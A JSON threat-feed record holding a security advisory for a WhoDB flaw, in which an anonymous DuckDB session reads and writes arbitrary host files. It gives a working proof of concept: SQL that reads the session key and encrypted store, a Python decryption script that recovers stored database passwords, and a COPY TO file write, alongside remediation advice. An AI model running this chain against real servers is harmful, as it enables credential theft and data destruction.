{"schema":"threatline.record/2","record":{"id":"GHSA-x3h5-pr45-fx4r","aliases":["GHSA-x3h5-pr45-fx4r"],"summary":"Unauthenticated arbitrary host file read and write through a DuckDB source session, disclosing every logged-in user's database credential in plaintext","details":"### Summary\r\n\r\nWhoDB confines a file-backed data source to one directory on the server, `/db` in server mode. For SQLite that confinement is enforced twice: once when the database file is opened, and again for the life of the session by an authorizer that denies ATTACH. For DuckDB only the first check exists.\r\n\r\nOnce a DuckDB session is open on a legitimate file inside `/db`, ordinary SQL submitted through the normal query editor reads any file the WhoDB process can read, and creates or replaces files anywhere it can write. No account is needed: `SourceFieldOptions` names the file to an anonymous caller and the public `LoginSource` mutation then issues a session for it with no credential.\r\n\r\nTwo of the readable files are `<datadir>/whodb.db`, the session store, and `<datadir>/session.key`, the AES-256-GCM key that protects it, which WhoDB writes beside the database it encrypts by default. Reading both yields every logged-in user's database connection details, including passwords, in cleartext after offline decryption.\r\n\r\nThis is the DuckDB counterpart of advisory GHSA-q79w-r6rg-4w2j. That advisory's remediation added a per-connection authorizer to the SQLite connector only, in 0.132.0. The DuckDB connector has never had an equivalent.\r\n\r\nTested for commit `d761f8af0`which is relevant for the code line numbers.\r\n\r\n### Details\r\n\r\n### The confinement being escaped\r\n\r\n`core/src/plugins/duckdb/db.go:44-88` resolves the requested database inside `getDefaultDirectory()` (`db.go:34-40`, \"/db/\" in server mode), calls `filepath.EvalSymlinks`, checks `strings.HasPrefix` and stats the result:\r\n\r\n```\r\ncore/src/plugins/duckdb/db.go:73\r\n    if !strings.HasPrefix(fileNameDatabase, getDefaultDirectory()) {\r\n```\r\n\r\nThat check is correct, and it is a check on one path at one moment: the database file, at open time. It says nothing about what the open session may then address afterwards.\r\n\r\n### The path to the sink\r\n\r\n1. `core/graph/schema.resolvers.go:778`:`RunSourceQuery(ctx, query string)` takes the raw SQL string from the request. This is the query editor and running caller-authored SQL is its purpose.\r\n2. `core/src/source/adapters/database_connector.go:418-425`: `RunQuery` builds the plugin config with `s.pluginConfig(ctx, nil)`, which leaves `ReadOnly` false, and calls `RawExecute`.\r\n3. `core/src/plugins/duckdb/duckdb.go:376-387`: `RawExecute` consults `config.ReadOnly`. When it is false it goes straight to `ExecuteRawSQL`. No `sqlguard` classification, no read-only transaction, and no restriction on DuckDB's filesystem functions.\r\n4. DuckDB executes `read_text`, `read_blob` and `COPY ... TO` in-process, as the WhoDB user.\r\n\r\n`ReadOnly` is only ever set inside `plugins.ReadOnlyConfig` (`core/src/plugins/read_only.go:26`), which is reached from `RunReadOnlyQuery` (`database_connector.go:428-439`) and not from the path above. No environment variable changes this.\r\n\r\n### Why SQLite is safe\r\n\r\nSQLite is from this because `core/src/plugins/sqlite3/driver.go:40-55` registers a per-connection authorizer that denies `SQLITE_ATTACH` and `SQLITE_DETACH` for the whole session:\r\n\r\n```\r\nfunc confinedSQLiteDriver(readOnly bool) *sqlitedriver.SQLiteDriver {\r\n    return &sqlitedriver.SQLiteDriver{\r\n        ConnectHook: func(conn *sqlitedriver.SQLiteConn) error {\r\n            conn.RegisterAuthorizer(func(operation int, argument1, _ string, _ string) int {\r\n                if operation == sqlitedriver.SQLITE_ATTACH || operation == sqlitedriver.SQLITE_DETACH {\r\n                    return sqlitedriver.SQLITE_DENY\r\n                }\r\n```\r\n\r\nThat authorizer arrived in commit `7d64b4b6` \"fix for sqlite auth bypass\", the remediation for GHSA-q79w-r6rg-4w2j, whose own root-cause statement is: \"SQLite database path validation runs only when the primary connection is opened. ATTACH DATABASE in later user-supplied SQL can open another SQLite file by absolute path and bypass that validation.\" That is this bug, in the other connector.\r\n\r\nGrepping `core/src/plugins/duckdb/` for `enable_external_access`, `disabled_filesystems`,\r\n`lock_configuration` or any authorizer returns nothing outside `read_only_test.go`.\r\n\r\nDuckDB's write primitive was already understood. `core/src/plugins/duckdb/duckdb.go:389-391` has this comment:\r\n\r\n```\r\n// executeReadOnly uses SQL because duckdb-go rejects sql.TxOptions.ReadOnly.\r\n// A sql.Conn pins BEGIN, query and ROLLBACK to the same physical connection.\r\n// The caller must apply ReadOnlyConfig: transaction mode alone permits COPY TO.\r\n```\r\n\r\nSo `COPY TO` is known to be a file write, and is gated only when `config.ReadOnly` is set, which `RunSourceQuery` never sets.\r\n\r\n### Why no credential needed\r\n\r\n`core/src/auth/graphql_authorization.go:38-42` places `LoginSource` in the public mutation allow-list, and a DuckDB login carries no secret at all: the only field is the database name (`core/src/dbcatalog/catalog.go:204-213`, `Fields: {Database: true}`). WhoDB CE has no user accounts, so there is no authentication to bypass and reachability is the only gate, and `core/src/app/app.go:220` binds every interface by default (`Addr: \":\" + port`).\r\n\r\nThe filename itself is also public. `core/src/sourcecatalog/catalog.go:551-570` marks the Database field optionable for file transports so the login page can offer a picker, and `core/src/plugins/duckdb/duckdb.go:111-130` answers it with every entry of `/db`, unfiltered. The\r\nescape does not depend on it, so a guessed filename works equally well. Just mentioned as a help for the main finding.\r\n\r\n### Why the key read is important\r\n\r\n`core/src/auth/session_key.go:88-110` generates a 32-byte key from `crypto/rand` and writes it to `<datadir>/session.key`, mode 0600, in the same directory as the `whodb.db` it protects. The code warns about this itself at `session_key.go:108`. `core/src/crypto/encrypt.go:42-51` uses it as AES-256-GCM. One file read gets the ciphertext, a second gets the key.\r\n\r\n### Possible remediation\r\n\r\nDuckDB has native settings for this, and applying them at connection time cannot be worded around the way an SQL denylist can.\r\n\r\nIn `core/src/plugins/duckdb/db.go:95`:\r\n\r\n```\r\ndb, err := gorm.Open(Open(fileNameDatabase), &gorm.Config{...})\r\nif err != nil {\r\n\treturn nil, err\r\n}\r\n// Match the SQLite connector's session-long confinement: the path check above\r\n// covers only the database file, not what later user-authored SQL may address.\r\nif !env.GetIsLocalMode() {\r\n\tfor _, stmt := range []string{\r\n\t\t\"SET enable_external_access = false\",\r\n\t\t\"SET autoinstall_known_extensions = false\",\r\n\t\t\"SET autoload_known_extensions = false\",\r\n\t\t\"SET lock_configuration = true\",\r\n\t} {\r\n\t\tif err := db.Exec(stmt).Error; err != nil {\r\n\t\t\treturn nil, err\r\n\t\t}\r\n\t}\r\n}\r\n```\r\n\r\n`enable_external_access = false` disables `read_text`, `read_blob`, `read_csv`, `COPY ... TO`, `ATTACH` of other files and remote access in one setting. `lock_configuration = true` stops later SQL turning it back on. These must be applied before any user SQL runs on the connection, so a per-physical-connection hook is safer than one `Exec` per `*gorm.DB`, which is what the SQLite fix already does with `ConnectHook`. I have not tested whether this breaks file import into DuckDB, but if it does, the narrower `disabled_filesystems` may suit better.\r\n\r\nAnother thing, `session.key` should not sit right next to the ciphertext it protects.\r\n\r\n### Proof of concept\r\n\r\nReproduces the whole chain on the published image, in a browser, with no credential. Verified against `clidey/whodb:latest` on 2026-10-10. About five minutes. Needs only Docker, a browser, and `python3` with `cryptography` for the last step. No host directory is mounted.\r\n\r\n### 0. Start from nothing\r\n\r\nSafe to run when nothing exists.\r\n\r\n```bash\r\ndocker rm -f whodb-poc demo-pg 2>/dev/null; docker volume rm whodb-poc-db whodb-poc-data 2>/dev/null; docker network rm whodb-net 2>/dev/null\r\n```\r\n\r\n### 1. Set up\r\n\r\nA DuckDB database inside the confined directory, and a victim Postgres with a real password.\r\n\r\n```bash\r\ndocker network create whodb-net\r\ndocker volume create whodb-poc-db\r\ndocker run --rm -v whodb-poc-db:/db python:3.12-slim sh -c \"pip install -q --root-user-action=ignore duckdb && python -c \\\"import duckdb; duckdb.connect('/db/analytics.duckdb').execute('CREATE TABLE events(id INTEGER)')\\\"\"\r\ndocker run -d --name demo-pg --network whodb-net -e POSTGRES_PASSWORD=S3cret-Victim-Pw -e POSTGRES_DB=production postgres:16\r\ndocker run -d --name whodb-poc --network whodb-net -p 127.0.0.1:8090:8080 -v whodb-poc-db:/db -v whodb-poc-data:/data clidey/whodb\r\n```\r\n\r\nCheck it started. The port line must not be empty.\r\n\r\n```bash\r\ndocker port whodb-poc && docker ps --format '{{.Names}} {{.Status}}'\r\n```\r\n\r\n### 2. Victim stores a credential, and stays logged in\r\n\r\nIn a normal browser window at <http://127.0.0.1:8090>, choose `Postgres` and log in with:\r\n\r\n| field | value |\r\n|---|---|\r\n| Hostname | `demo-pg` |\r\n| Port | `5432` |\r\n| Username | `postgres` |\r\n| Password | `S3cret-Victim-Pw` |\r\n| Database | `production` |\r\n\r\nOpen a table. **Leave this window logged in.** Do not log out: WhoDB deletes the server-side session row on logout (`core/src/auth/logout.go:44-51`), which removes the row this PoC steals.\r\n\r\nThis is the only step that uses a credential.\r\n\r\n### 3. Attacker gets a session with no credential\r\n\r\nOpen a **private window** so it has its own cookies, and go to the same URL.\r\n\r\nChoose source type `DuckDB`. The database field already offers `analytics.duckdb`. Select it and log in.\r\n\r\nNo password is requested.\r\n\r\n### 4. Confirm the confinement works\r\n\r\nThe control. Without it this looks like a feature.\r\n\r\nIn the private window, log out of the DuckDB session, choose `DuckDB` again, and **type** `../data/session.key` into the database field instead of selecting from the list. Submit.\r\n\r\n- **Expected:** refused.\r\n- **Actual:** refused, `unauthorized or the database doesn't exist`.\r\n\r\nThe path check does its job on the database file. Log back in with `analytics.duckdb`.\r\n\r\n### 5. The open session reads that same file anyway\r\n\r\nIn the query editor:\r\n\r\n```sql\r\nSELECT content FROM read_text('/data/session.key');\r\n```\r\n\r\n- **Expected:** refused, as in step 4, because the session is confined to `/db`.\r\n- **Actual:** 64 hex characters, the AES-256 key that encrypts the session store.\r\n\r\nConfirm it is that file:\r\n\r\n```bash\r\ndocker exec whodb-poc cat /data/session.key\r\n```\r\n\r\n### 6. Take the encrypted session store\r\n\r\n```sql\r\nSELECT hex(content) FROM read_blob('/data/whodb.db');\r\nSELECT hex(content) FROM read_blob('/data/whodb.db-wal');\r\n```\r\n\r\n### 7. Decrypt offline\r\n\r\nIn an empty directory, save three files: `key.txt` (step 5), `db.hex` and `wal.hex` (step 6).\r\nAdd `decrypt.py`:\r\n\r\n```python\r\nimport binascii, sqlite3, json\r\nfrom cryptography.hazmat.primitives.ciphers.aead import AESGCM\r\n\r\nkey = bytes.fromhex(open(\"key.txt\").read().strip())\r\nopen(\"store.db\", \"wb\").write(binascii.unhexlify(open(\"db.hex\").read().strip()))\r\nwal = open(\"wal.hex\").read().strip()\r\nif wal:\r\n    open(\"store.db-wal\", \"wb\").write(binascii.unhexlify(wal))\r\n\r\nfound = 0\r\nfor _, blob in sqlite3.connect(\"store.db\").execute(\r\n        \"SELECT session_hash, encrypted_credentials FROM sessions\"):\r\n    try:\r\n        plain = AESGCM(key).decrypt(blob[:12], blob[12:], None)\r\n    except Exception:\r\n        continue\r\n    found += 1\r\n    print(json.dumps(json.loads(plain), indent=2))\r\nprint(f\"\\n{found} session record(s) decrypted\")\r\n```\r\n\r\n```bash\r\npython3 decrypt.py\r\n```\r\n\r\n- **Expected:** nothing readable. The store is encrypted at rest.\r\n- **Actual:** every live session in cleartext, including the victim's.\r\n\r\n```\r\n{\r\n  \"version\": 1,\r\n  \"sessionHash\": \"3155d37021f07bb08f7e0cff5a1820135ec2b8044904298e90f1b43151ab6282\",\r\n  \"csrfTokenHash\": \"8a5ec515a1a10300173e01836f3604b04b3a1585d7b76be4916de9c4acae38f4\",\r\n  \"credentials\": {\r\n    \"SourceType\": \"Postgres\",\r\n    \"Values\": {\r\n      \"Database\": \"production\",\r\n      \"Hostname\": \"demo-pg\",\r\n      \"Password\": \"S3cret-Victim-Pw\",\r\n      \"Port\": \"5432\",\r\n      \"Username\": \"postgres\"\r\n    }\r\n  }\r\n}\r\n```\r\n\r\n### 8. The same primitive writes\r\n\r\n```sql\r\nCOPY (SELECT 'replaced' AS proof) TO '/data/poc-write.txt' (FORMAT CSV);\r\n```\r\n\r\n```bash\r\ndocker exec whodb-poc cat /data/poc-write.txt\r\n```\r\n\r\nAimed at `/data/session.key` or `/data/whodb.db` the same statement destroys every stored\r\ncredential irrecoverably. Confirmed separately; deliberately not included here.\r\n\r\n### 9. Clean up\r\n\r\n```bash\r\ndocker rm -f whodb-poc demo-pg\r\ndocker volume rm whodb-poc-db whodb-poc-data\r\ndocker network rm whodb-net\r\n```\r\n\r\n### If it does not work\r\n\r\n| Symptom | Cause |\r\n|---|---|\r\n| Only one record decrypts, and it is the attacker's own DuckDB session | The victim logged out. Logout deletes the row. Redo tep 2 and leave the window logged in. |\r\n| `wal.hex` is large but no victim record appears | Same cause. WAL files do not shrink when rows are deleted. |\r\n| `Bind for 127.0.0.1:8090 failed: port is already allocated` | Something else holds 8090. Pick another host port in step 1. |\r\n| `docker port whodb-poc` prints nothing | The container never started. Check the step 1 command for a mangled volume name. |\r\n| Step 4 shows no `../data/session.key` option | Correct. It is not in `/db`. Type it into the field rather than selecting it. |\r\n\r\n### Impact\r\n\r\nUnauthenticated arbitrary file read and write on the WhoDB host, reached through a data source any anonymous caller can open. It yields every logged-in user's database credentials in cleartext, because the session store and the AES key that encrypts it sit in the same directory. The same write primitive aimed at those two files destroys every stored credential irrecoverably.\r\n\r\nThe credentials are the serious part. They are for independently managed databases, they keep working after WhoDB is patched until each one is rotated, and no log tells an operator whether rotation is needed. The key decrypts stored credentials; it does not allow logging in as another WhoDB user.\r\n\r\nImpacted: any server-mode deployment with a genuine DuckDB database file in the confined directory. Not desktop or CLI mode, which have no confinement to escape, and not deployments setting WHODB_DISABLE_CREDENTIAL_FORM=true, where the anonymous login is refused. Until a patch, setting WHODB_ENCRYPTION_KEY to a 64-hex-character value keeps the key out of the data directory and breaks the credential-theft half; the file read and write remain.","categories":["Unclassified"],"product":"github.com/clidey/whodb/core","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/clidey/whodb/security/advisories/GHSA-x3h5-pr45-fx4r","source_modified_at":"2026-10-15T16:27:17Z","fetched_at":"2026-10-23T18:58:35.272684Z","package":{"ecosystem":"go","name":"github.com/clidey/whodb/core"},"range":">= 0.104.0"}],"fixed_versions":[{"source":"GitHub Advisory Database","source_url":"https://github.com/clidey/whodb/security/advisories/GHSA-x3h5-pr45-fx4r","source_modified_at":"2026-10-15T16:27:17Z","fetched_at":"2026-10-23T18:58:35.272684Z","package":{"ecosystem":"go","name":"github.com/clidey/whodb/core"},"version":"0.135.0"}],"cvss":9.4,"severity":"Critical","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-15T16:27:17Z","modified_at":"2026-10-15T16:27:17Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/clidey/whodb/security/advisories/GHSA-x3h5-pr45-fx4r","fetched_at":"2026-10-23T18:58:35.272684Z","source_modified_at":"2026-10-15T16:27:17Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-15T16:27:17Z","content_hash":"dbad2ea3e25f958d5df4757520a5c8f4281ebf3bdeac2c3d277c388affd68125"}}
